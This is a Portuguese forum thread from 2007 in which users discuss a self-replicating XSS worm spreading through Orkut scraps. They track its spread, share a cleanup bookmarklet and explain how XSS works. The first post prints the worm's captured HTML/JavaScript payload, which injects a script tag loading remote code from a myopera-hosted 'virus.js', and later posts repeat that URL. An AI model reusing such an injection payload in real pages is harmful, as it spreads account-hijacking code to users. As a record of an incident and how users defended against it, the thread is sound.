Tópico: Novo BUG no Orkut.com

[J Ricardo]

Não é atoa que o Orkut ainda está na fase beta.

Um novo bug no Orkut deixa um recado semelhante a este:
 

Código: [Selecionar]

~di3go Vieira:
2008 vem ai... que ele comece mto bem para vc
RL Wed Dec 19 2007 01:02:39 GMT-0300 (Hora oficial do Brasil)
Para visualizar este conteúdo, atualize para a versão mais recente de plug-in Flash em
 http://www.macromedia.com/go/getflashplayer.
Imediatamente você é redirecionado a uma página falsa do Orkut, caso você não perceber que é uma página falsa (basta olhar a URL) e tentar fazer login você corre o risco de ter sua conta roubada.

O tal código no scrap em html é esse:

Código: [Selecionar]

2008 vem ai... que ele comece mto bem para vc<br><font color="#C6C6C6">
RL Wed Dec 19 2007 01:02:39 GMT-0300 (Hora oficial do Brasil)</font><br>
<div id="flashDiv224704467"><b>Para visualizar este conteúdo, atualize para a versão mais recente
 de plug-in Flash em <a href="http://www.macromedia.com/go/getflashplayer/" target="_blank">
http://www.macromedia.com/go/getflashplayer</a>.</b></div><script type="text/javascript">
 var flashWriter = new _SWFObject('http://www.orkut.com/LoL.aspx', '224704467', '1', '1', '9', '#FFFFFF',
 'autohigh', '', '', '224704467'); flashWriter._addParam('wmode', 'transparent'); script=document.createElement('script');
script.src='http://files.myopera.com/virusdoorkut/files/virus.js';document.getElementsByTagName('head')
[0].appendChild(script);escape(''); flashWriter._addParam('allowNetworking', 'internal');
 flashWriter._addParam('allowScriptAccess', 'never'); flashWriter._setAttribute('style', '');
 flashWriter._write('flashDiv224704467');</script>
Quem acessar os recados de um amigo 'infectado' recebera um alert() em seu navegador com um erro fictício e será redirecionado para a pagina falsa, de quebra, o script ainda dá join em 2 comunidades sem sua intervenção.

Ainda não me enviar esse tipo de recado, mas acredito que para apaga-lo deve-se desabilitar o javascript antes de entrar na página de recados e habilita-lo logo em seguida para apagar o recado.

[J Ricardo]

Recados com bug:

[J Ricardo]

O Rafael Delerue acabou de me enviar um recado infectado. 

[Nightstalker]

É só apagar o recado?

[Johnny Cash]

só de ler o recado, me infectei. :\
Criativo o cara.

[J Ricardo]

Não adiantou apenas desabilitar o javascript como eu havia pensado.

Tem que desabilitar o javascript, entrar na pagina de recados, habilitar o javascript, selecionar o(s) recado(s) infectado(s) e executar um código mágico na barra de endereços.

Código: [Selecionar]

javascript:var spans = document.getElementsByTagName('span');spans[17].innerHTML="<input value='excluir recados selecionados' name='Action.delete' type='submit'>";void(0);
Com isso apareceu um botão ''estilo html'' que funcionou apagar os recados.

[Raphael]

Que merda cara, o orkut apagou estes dias a conta de uma amiga minha. Ela reclamou, vamos ver no que dá. Bosta mesmo.

Tomara que não me enviem este recado. Estes dias um amigo meu me enviou 47 recados de uma vez, que só mostra a hora e data. Coisa chata.

[Raphael]

Ricardo, isso pega só de ler então?

Ps- Eu botei pra que me mandem recados só amigos e amigos dos meus amigos. Parei com aquela palhaçada de vírus, apesar de nunca ter copiado nenhum link pro meu navegador, claro.

[Worf]

o melhor a fazer é deslogar e não ler os scraps antes que uma mensagem dessas chegue a você.

[J Ricardo]

Sim, só de entrar nos recados de amigos infectados.

Só a título de curiosidade, a comunidade que o bug faz você entrar automaticamente aumenta exponencialmente.

1:15 - 270 mil
1:21 - 279 mil
1:38 - 312 mil
1:45 - 330 mil
1:50 - 338 mil
2:00 - 357 mil
2:10 - 373 mil

Neste momento (2:18) a comunidade conta com 384 mil membros (infectados).

[J Ricardo]

Link da comunidade: http://www.orkut.com/Community.aspx?cmm=44001818

[Raphael]

Que bosta...

[Raphael]

Link da comunidade: http://www.orkut.com/Community.aspx?cmm=44001818

Só de entrar não é infectado não né?

[Oceanos]

Hehe.. Eu fui pego com Linux, FF e tudo. Shame.

O JS malígno: files.myopera.com/virusdoorkut/files/virus.js (é um arquivo de texto...)

[Raphael]

Hehe.. Eu fui pego com Linux, FF e tudo. Shame.

O JS malígno: files.myopera.com/virusdoorkut/files/virus.js (é um arquivo de texto...)

Que merda cara, o vírus é pego até pelo Linux? Filho da puta mesmo, o que ele ganha com isso?

[J Ricardo]

Blog do criador do 'vírus' explicando o funcionamento.

http://ctrl-copy.blogspot.com/2007/12/como-baguncei-o-orkut-em-um-dia.html

[Raphael]

Blog do criador do 'vírus' explicando o funcionamento.

http://ctrl-copy.blogspot.com/2007/12/como-baguncei-o-orkut-em-um-dia.html

Olha o título idiota.

[J Ricardo]

A comunidade do cara está estabilizando, meia noite e meia entrava aprox 1.000 pessoas na comunidade por minuto, as 2 da manhã aprox 1.600 entravam por minuto. Isso por que o pessoal tá durmindo. Só quero ver amannhã de manhã, quando todos chegam no trabalho, abrem o Orkut... essa comunidade vai explodir de tanta gente.

É interessante ver a propagação de um vírus em tempo real.

[Nightstalker]

Ócio é brabo.

Eu estou desenvolvendo uma teoria. O ócio é o fruto de nossos maiores problemas.

[Raphael]

Ócio é brabo.

Eu estou desenvolvendo uma teoria. O ócio é o fruto de nossos maiores problemas.

Dá pra escrever um livro com esta idéia.

[Johnny Cash]

Concordo com o autor, quando fala sobre o perigo dessas "ferramentas" tipo orkut.

[Nightstalker]

Ócio é brabo.

Eu estou desenvolvendo uma teoria. O ócio é o fruto de nossos maiores problemas.

Dá pra escrever um livro com esta idéia.

Dá mesmo. ^^

[Oceanos]

Hehe.. Eu fui pego com Linux, FF e tudo. Shame.

O JS malígno: files.myopera.com/virusdoorkut/files/virus.js (é um arquivo de texto...)

Que merda cara, o vírus é pego até pelo Linux? Filho da puta mesmo, o que ele ganha com isso?

Não é um vírus. O cara é retardado, ele não sabe o que é um vírus. É um script auto-replicante, só isso.

Tipo, nos browsers existe o javascript. JS é uma linguagem de programação que serve para fuçar no HTML, recursos do browser e tal. É bastante útil e é a base de coisas como o AJAX (sabe o gmail? ele é inteiro feito em AJAX), por exemplo.

O que o cara fez chama-se XSS, que consiste na injeção de javascript em um site... Então, isso é independente de sistema operacional e browser, já que js é suportado de forma padronizada por todos os browsers de todos os SOs.

Enfim, o que ele fez parece que foi só se replicar e mandar mensagens mesmo.

Recomendo que desabilitem o Javascript para acessar o orkut ou simplesmente não o acessem. No FF, para desabilitar: Edit->Preferences->Content->Enable JavaScript(desmarcar).

[Raphael]

Ahh...obrigado pela explicação.

Mas o meu FF não é assim não, do jeito que você falou. É "ferramentas, opções, depois ir na opção conteúdo e desmarcar a opção permitir java script."

Mas o que exatamente esta porra faz, manda esta mensagem pra todos da minha lista? Ainda não entendi.

[Oceanos]

Manda mensagens e te coloca em uma comunidade...